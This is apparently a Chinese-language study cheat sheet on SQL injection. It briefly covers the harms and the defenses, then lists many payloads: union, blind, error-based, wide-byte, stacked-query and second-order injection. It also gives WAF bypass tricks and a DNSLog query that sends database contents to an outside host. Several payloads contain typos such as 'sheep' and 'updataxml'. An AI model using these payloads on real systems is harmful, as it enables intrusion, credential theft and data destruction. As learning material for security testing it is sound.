sql注入
原理:
原本的sql语句在与用户可控的参数经过了拼接、替换、编码等这些字符串操作后,得到一个新的sql语句被数据库解析,达到非预期的结果。
危害:
会导致数据库中的数据泄露、数据篡改、网页篡改、甚至被删库, 如果数据库开启了文件读写权限,还有可能导致网页挂马、服务器被写入木马等,getshell从而导致内网被攻击
防御:
1、集成式安全设备如:waf,IDS、IPS可以拦截大部分的攻击,但不绝对,存在一定的绕过风险
2、黑/白名单:黑名单禁止规定名单内的参数格式、参数长度、特殊字符、转义或者编码后的特写字符等;白名单只允许规定名单内的参数通过,安全性较高
3、预编译SQL:是当前最流行防御sql注入的方法,几乎所有主流的开发框架都是使用这种方法;预编译其实就是SQL引擎 先对 SQL 语句进行分析编译,然后再去填充参数,目前来说这种技术是可以完全防御 SQL 注入的
注入点类型:
1、注入点区分:
a、数字型注入:如 ?id=1 的传参,可以控制 ?id 的值进行判断是否有注入点
b、字符型注入:如数字型注入一样,但得在值后面进行闭合和添加注释符
闭合方式:
单引号:?id=1'
双引号:?id=1"
括号(): ?id=1)
括号+单引号:?id=1')
括号+双引号: ?id=1")
多层括号+单引号: ?id=1')) 、?id=1'))) 之类
多层括号+双引号: ?id=1")) 、?id=1"))) 之类
c、搜索型注入:主要是进行搜索时网站没过滤搜索关键字
2、提交方式区分:
a、GET注入:
GET提交数据的方式的特点是将用户操作生成的语句直接显示在url上,如URL为:http://xxx.com/index.php?id=1 , id = 输入的内容可能是注入点。
b、POST注入:
POST提交的页面通常需要一定的保密性,常见于用户登录页面,用户操作生成的语句不会直接显示在url中,而是会存在于数据包(表单)中,需要通过抓包才能获取;抓取数据包后,可以通过修改提交的内容,结合网站页面反馈,判断能否注入。
c、COOKIE注入:
HTTP 请求表单中会带上客户端的 Cookie, 注入点存在 于Cookie 当中的某个字段中。和POST一样,Cookie也要通过抓包来查看
3、页面执行反馈区分:
a、布尔盲注:通过网页的是否正常响应来推断数据库的信息。True时网页正常,False时网页不正常
b、时间盲注:通过网页的响应时间来推断数据库的信息
c、报错注入:通过网页的反馈操作的错误信息,有的会直接把错误的sql语句反馈在页面中
注入方式分类:
1、联合注入
原理:将多个SELECT语句的结果合并到一个结果集中
相关函数:
-
group_concat(参数1,参数2,参数3等等无数个参数)语法: group_concat函数返回一个字符串结果(就是返回一行),该结果由括号中的各个参数值执行然后连接组合而成
-
char():还原ASCII码为字符
例:?id=1' 【 " 、 ') 、 ") 、'))) 、 "))) 】 通过闭合判断是数字型 还是 字符型
?id=1 and 1=1/2 --+ 判断是否与数据库交互,数值相等正常显示,数值不相等不正常显示
?id=1 order by 5 --+ 利用二分法进行判断有多少个 字段数
?id=-1 union select 1,2,3,4,5 --+ 寻找网页是否有回显位置
?id=-1 union select 1,database(),3,4,5 --+ 得到当前数据库名字(假设2,3是回显位)**
?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database() --+ 得到当前 laor 数据库所有表名
?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name = 'user' and table_schema=database() --+ 得到当前 laor 数据库的 user 表的所有列名
?id=-1 union select username,password from users --+ 得到当前 laor 数据库的 user 表中username、password 列的所有数据
2、布尔盲注
原理:通过网页的是否正常响应来推断数据库的信息。True时网页正常,False时网页不正常
相关函数:
(1)length:返回值为字符串的字节长度 (2)ascii:把字符转换成ascii码值的函数 (3)substr(str, pos, len):在str中从pos开始的位置(起始位置为1),截取len个字符 (4)count:统计表中记录的一个函数,返回匹配条件的行数 (5)limit: limit x :检索前x行数据,显示1-10行数据(x>0) limit(x,y):检索从x+1行开始的y行数据
(6)if(条件表达式,true,false); 1 代表就是true ; 0 代表就是false
例:?id=1/1
?id=1/2 通过 / 计算判断是否存在与数据库交互,假如是 1/1 即为 true ; 1/2 或者其他即为 false
?id=1/(length(database())-x) 通过计算判断数据库名字长度
?id=1/(ascii(substr(database()),1,1)-x) 通过计算判断数据库第一个字符的 ascii 值 以此类推,推算出数据库完整的名字
?id=1 and (substr(select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='x' --+ 通过计算x来推算当前数据库所有表的名字
?id=1 and (substr(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),1,1)='x' --+ 通过计算x来推算当前数据库的 user 表所有列的名字
?id=1 and ascii(substr(select username from user),y,1)='x' 通过计算x来推算当前数据库的 user 表所 username 列的所有数据
3、时间盲注
原理:通过网页的响应时间来推断数据库的信息
常用函数:
sheep(x) 延迟x秒
有延迟:True页面 没有延迟:False页面
例:
?id=1 and if(length(database())=x,sleep(3),0) --+ 通过网页回显速度来推算数据库的长度,假如成功则页面回显时间为 3 s
?id=1 and if((substr(database()),1,1)='x',1,sheep(3)) 通过网页回显速度来推算数据库第一个字符,假如成功则页面回显时间为 3 s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) -–+ 通过网页回显速度来推算当前数据库所有的表的名字
?id=1 and if(ascii(substr((select column_name from information _schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1))=x,1,sleep(5)) -–+ 通过网页回显速度来推算当前数据库的 user 表所有列的名字
?id=1 and if(ascii(substr((select user from username limit 0,1), 1,1))=x,1,sleep(5))–+ 通过网页回显速度推算当前数据库的 user 表中username 列的所有数据
4、报错注入
原理:就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息
常用函数:
(1)XML 文档操作相关的函数: updatexml()
、extractvalue()
等
(2)数学计算相关的函数:floor()
、exp()
(适用mysql数据库版本是:5.5.5~5.5.49 )等
(3)图形处理相关函数:polygon()
、mutipolygon()
0x7e代表了波浪符(~)
(1)例:?id=1 and updataxml(1,concat(0x7e,(xxxxx),0x7e),3) 或者 ?id=1" and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) --+
?id=1 and updataxml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),3) --+
(2)例:?id=1 and exp(~(select * from (xxxxxxx)a))
?id=1" and exp(~(select * from (select database())a)) --+
?id=1" and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a)) --+
?id=1" and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a)) --+
?id=1" and exp(~(select * from(select username from 'users' limit 0,1))) --+
(3)例:?id=1 and polygon/mutipolygon (()select * from(xxxxxxxx)a)b )
?id=1 and polygon (()select * from(select database())a)b )
5、宽字节注入
原理:代码层与数据库层的编码不一致(前端用utf-8,数据库使用gbk),并且宽字节本身有“吞”ASCII字符的现象。
%df' --> %df/' (%df会吞掉/ , 只剩下 ' )--> '
宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
例:
注入?id=1%df’ 出现报错,存在注入 http://192.168.222.4/sqli-labs/Less-32/?id=1’(不可以注入) http://192.168.222.4/sqli-labs/Less-32/?id=1%df’ http://192.168.222.4/sqli-labs/Less-32/?id=1%df%27 MySQL在使用GBK编码时,两个字符组合,认为是一个汉字 %df’->%df/’-> %df%5c%27(%df%5c是一个汉字)->(汉字)‘->id=(汉字)’ and (可以注入)
6、堆叠注入
原理:mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句
条件要求:
-
存在sql注入漏洞
-
未对";"号进行过滤
-
查询数据库信息时可同时执行多条sql语句(如php中的
mysqli_multi_query
函数)
常用参数:
插入数据:insert into 表名(字段名 1,字段名 2,····) VALUES(值1 , 值2,---)
更新数据:update:update xxx表 set 内容/update xxx表 set 内容 where 条件
删除数据:delate:delete from xxx表/delete from xxx表 where 条件
(1)例:select * from student;select current_user(); 查看当前登录用户是谁
(2)例:select * from student;update reader set birthdate='1999-03-21' where name='张三' 把张三的出生日期改成1999-03-21
(3)例:select * from student;delete from user where id=2 删除user表中id=2 的用户
7、二次注入
原理:
(1)第一步: 构造恶意语句:语句含有被 转义字符 的恶意查询语句
(2)第二步: 插入恶意数据:进行数据库插入数据时,对其中特殊字符进行了转义处理,但在写入数据库时还是保留了原来的数据。
(3)第三步: 二次构造语句,引用恶意数据:开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出构造的恶意数据,没有进行进一步的检验
例:
(1)已知数据库中有个名为 admin 的用户
(2)在网站注册名为 admin'-- - 密码为 123456 的用户
(3)修改用户 admin'-- - 的密码,其实这里修改的是 admin 的密码
sql绕过:
1、双写 union --> ununionion
2、大小写 union --> Union
3、编码绕过:十六进制、URL、双重URL、Unicode
URL:1、?id=1 union%23a%0Aselect 1,2,3# %23(#,注释符) ,%0A (换行,这里相当于两个语句) , a 防止 waf 扫描到 union select 这样子的联合注入语句
2、?id=1 union#a --》 数据库中换行执行命令 ?id=1 union#a;
select 1,2,3# select 1,2,3#
4、内联注释绕过 /!**/
(MYSQL独有)
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
5、绕过空格
a.编码绕过空格
- `%09`:制表 - `%0a`:换行 - `%0c`:分页 - `%20`:空格 - `%0d`:回车
b.注释绕过空格 (也可以绕过关键词)
/**/
http://xxx:xxx/Less-2/?id=-11/**/union/**/select/**/1,database(),3 --+
http://xxx:xxx/Less-2/?id=-11 union select 1,database()/**/,3 --+
6、使用同样效果的函数或命令进行特换
例:
hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() mid()、substr() ==> substring() @[@user ]() ==> user() @[@datadir ]() ==> datadir()
7、缓冲器溢出
?id=1 and (select 1)=(elect 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 示例0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出
8、HTTP参数控制 (http参数污染)
原理:在与服务器进行交互的过程中,客户端往往会在GET/POST请求中带上参数。通常在一个请求中,同名参数只会出现一次,但是在HTTP协议中是允许同名参数多次出现的。
例:请求为index.php?id=1&id=2,客户端请求首先通过tomcat解析第一个参数,接下来tomcat去请求apache服务器,而apache解析最后一个参数。实际提供服务的是apache服务器,因此返回客户端的是id=2。
?id=1&id=2 --> ?id=2
9、sqlmap --tamper
工具绕过
DNS获取不回显数据
常用函数:load_file
构造如: select load_file(concat('\\\\', (select database()), '.xxxx.dnslog.cn\\xxx'))
的语句,即可将数据库名回显到 DNSLog 上。
注:1、字符无法回显的问题,可以尝试 hex()
转为十六进制;
2、字符太长无法完整回显的问题,可以尝试 substr
截断分段回显。